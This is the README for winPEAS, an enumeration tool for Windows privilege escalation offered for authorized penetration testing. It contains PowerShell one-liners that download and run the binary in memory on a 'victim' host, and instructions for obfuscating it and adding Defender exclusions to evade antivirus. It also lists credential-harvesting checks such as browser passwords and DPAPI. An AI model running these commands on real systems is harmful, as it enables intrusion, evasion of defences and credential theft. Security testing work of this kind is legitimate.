PEASS-ng/winPEAS/winPEASexe

Windows Privilege Escalation Awesome Script (.exe)

WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts. The checks are explained on book.hacktricks.xyz

Check also the Local Windows Privilege Escalation checklist from book.hacktricks.xyz

Quick Start

.Net >= 4.5.2 is required

Precompiled binaries:

• Download the latest obfuscated and not obfuscated versions from here or compile it yourself (read instructions for compilation).

# Get latest release
$url = "https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany_ofs.exe"

# One liner to download and execute winPEASany from memory in a PS shell
$wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "$url" -UseBasicParsing | Select-Object -ExpandProperty Content)); [winPEAS.Program]::Main("")

# Before cmd in 3 lines
$wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "$url" -UseBasicParsing | Select-Object -ExpandProperty Content));
[winPEAS.Program]::Main("") #Put inside the quotes the winpeas parameters you want to use

# Load from disk in memory and execute:
$wp = [System.Reflection.Assembly]::Load([byte[]]([IO.File]::ReadAllBytes("D:\Users\victim\winPEAS.exe")));
[winPEAS.Program]::Main("") #Put inside the quotes the winpeas parameters you want to use

# Load from disk in base64 and execute
##Generate winpeas in Base64:
[Convert]::ToBase64String([IO.File]::ReadAllBytes("D:\Users\user\winPEAS.exe")) | Out-File -Encoding ASCII D:\Users\user\winPEAS.txt
##Now upload the B64 string to the victim inside a file or copy it to the clipboard

 ##If you have uploaded the B64 as afile load it with:
$thecontent = Get-Content -Path D:\Users\victim\winPEAS.txt
 ##If you have copied the B64 to the clipboard do:
$thecontent = "aaaaaaaa..." #Where "aaa..." is the winpeas base64 string
##Finally, load binary in memory and execute
$wp = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($thecontent))
[winPEAS.Program]::Main("") #Put inside the quotes the winpeas parameters you want to use

# Loading from file and executing a winpeas obfuscated version
##Load obfuscated version
$wp = [System.Reflection.Assembly]::Load([byte[]]([IO.File]::ReadAllBytes("D:\Users\victim\winPEAS-Obfuscated.exe")));
$wp.EntryPoint #Get the name of the ReflectedType, in obfuscated versions sometimes this is different from "winPEAS.Program"
[<ReflectedType_from_before>]::Main("") #Used the ReflectedType name to execute winpeas

Parameters Examples

winpeas.exe -h # Get Help
winpeas.exe #run all checks (except for additional slower checks - LOLBAS and linpeas.sh in WSL) (noisy - CTFs)
winpeas.exe systeminfo userinfo #Only systeminfo and userinfo checks executed
winpeas.exe notcolor #Do not color the output
winpeas.exe domain #enumerate also domain information
winpeas.exe wait #wait for user input between tests
winpeas.exe debug #display additional debug information
winpeas.exe log #log output to out.txt instead of standard output
winpeas.exe -linpeas=http://127.0.0.1/linpeas.sh #Execute also additional linpeas check (runs linpeas.sh in default WSL distribution) with custom linpeas.sh URL (if not provided, the default URL is: https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh)
winpeas.exe -lolbas  #Execute also additional LOLBAS search check

Basic information

The goal of this project is to search for possible Privilege Escalation Paths in Windows environments.

It should take only a few seconds to execute almost all the checks and some seconds/minutes during the lasts checks searching for known filenames that could contain passwords (the time depened on the number of files in your home folder). By default only some filenames that could contain credentials are searched, you can use the searchall parameter to search all the list (this could will add some minutes).

The tool is based on SeatBelt.

Where are my COLORS?!?!?!

The ouput will be colored using ansi colors. If you are executing winpeas.exe from a Windows console, you need to set a registry value to see the colors (and open a new CMD):

REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1

Below you have some indications about what does each color means exacty, but keep in mind that Red is for something interesting (from a pentester perspective) and Green is something well configured (from a defender perspective).

Instructions to compile you own obfuscated version

Details

In order to compile an ofuscated version of Winpeas and bypass some AVs you need to ** install dotfuscator ** in VisualStudio.

To install it open VisualStudio --> Go to Search (CTRL+Q) --> Write "dotfuscator" and just follow the instructions to install it.

To use dotfuscator you will need to create an account (they will send you an email to the address you set during registration).

Once you have installed and activated it you need to:

1. Compile winpeas in VisualStudio
2. Open dotfuscator app
3. Open in dotfuscator winPEAS.exe compiled
4. Click on Build
5. The single, minimized and obfuscated binary will appear in a folder called Dotfuscator inside the folder were winPEAS.exe and the DLL were (this location will be saved by dotfuscator and by default all the following builds will appear in this folder).

I'm sorry that all of this is necessary but is worth it. Dotfuscator minimizes a bit the size of the executable and obfuscates the code.

IMPORTANT: Note that Defender will higly probable delete the winpeas iintial unobfuscated version, so you need to set as expections the origin folder of Winpeas and the folder were the obfuscated version will be saved:

Checks

Details

• System Information

  • Basic System info information
  • Use Watson to search for vulnerabilities
  • Enumerate Microsoft updates
  • PS, Audit, WEF and LAPS Settings
  • LSA protection
  • Credential Guard
  • WDigest
  • Number of cached cred
  • Environment Variables
  • Internet Settings
  • Current drives information
  • AV
  • Windows Defender
  • UAC configuration
  • NTLM Settings
  • Local Group Policy
  • Applocker Configuration & bypass suggestions
  • Printers
  • Named Pipes
  • AMSI Providers
  • SysMon
  • .NET Versions

• Users Information

  • Users information
  • Current token privileges
  • Clipboard text
  • Current logged users
  • RDP sessions
  • Ever logged users
  • Autologin credentials
  • Home folders
  • Password policies
  • Local User details
  • Logon Sessions

• Processes Information

  • Interesting processes (non Microsoft)

• Services Information

  • Interesting services (non Microsoft) information
  • Modifiable services
  • Writable service registry binpath
  • PATH Dll Hijacking

• Applications Information

  • Current Active Window
  • Installed software
  • AutoRuns
  • Scheduled tasks
  • Device drivers

• Network Information

  • Current net shares
  • Mapped drives (WMI)
  • hosts file
  • Network Interfaces
  • Listening ports
  • Firewall rules
  • DNS Cache (limit 70)
  • Internet Settings

• Windows Credentials

  • Windows Vault
  • Credential Manager
  • Saved RDP settings
  • Recently run commands
  • Default PS transcripts files
  • DPAPI Masterkeys
  • DPAPI Credential files
  • Remote Desktop Connection Manager credentials
  • Kerberos Tickets
  • Wifi
  • AppCmd.exe
  • SSClient.exe
  • SCCM
  • Security Package Credentials
  • AlwaysInstallElevated
  • WSUS

• Browser Information

  • Firefox DBs
  • Credentials in firefox history
  • Chrome DBs
  • Credentials in chrome history
  • Current IE tabs
  • Credentials in IE history
  • IE Favorites
  • Extracting saved passwords for: Firefox, Chrome, Opera, Brave

• Interesting Files and registry

  • Putty sessions
  • Putty SSH host keys
  • SuperPutty info
  • Office365 endpoints synced by OneDrive
  • SSH Keys inside registry
  • Cloud credentials
  • Check for unattended files
  • Check for SAM & SYSTEM backups
  • Check for cached GPP Passwords
  • Check for and extract creds from McAffe SiteList.xml files
  • Possible registries with credentials
  • Possible credentials files in users homes
  • Possible password files inside the Recycle bin
  • Possible files containing credentials (this take some minutes)
  • User documents (limit 100)
  • Oracle SQL Developer config files check
  • Slack files search
  • Outlook downloads
  • Machine and user certificate files
  • Office most recent documents
  • Hidden files and folders
  • Executable files in non-default folders with write permissions
  • WSL check

• Events Information

  • Logon + Explicit Logon Events
  • Process Creation Events
  • PowerShell Events
  • Power On/Off Events

• Additional (slower) checks

  • LOLBAS search
  • run linpeas.sh in default WSL distribution

TODO

• Add more checks
• Mantain updated Watson (last JAN 2021)

If you want to help with any of this, you can do it using github issues or you can submit a pull request.

If you find any issue, please report it using github issues.

WinPEAS is being updated every time I find something that could be useful to escalate privileges.

Advisory

All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.

By Polop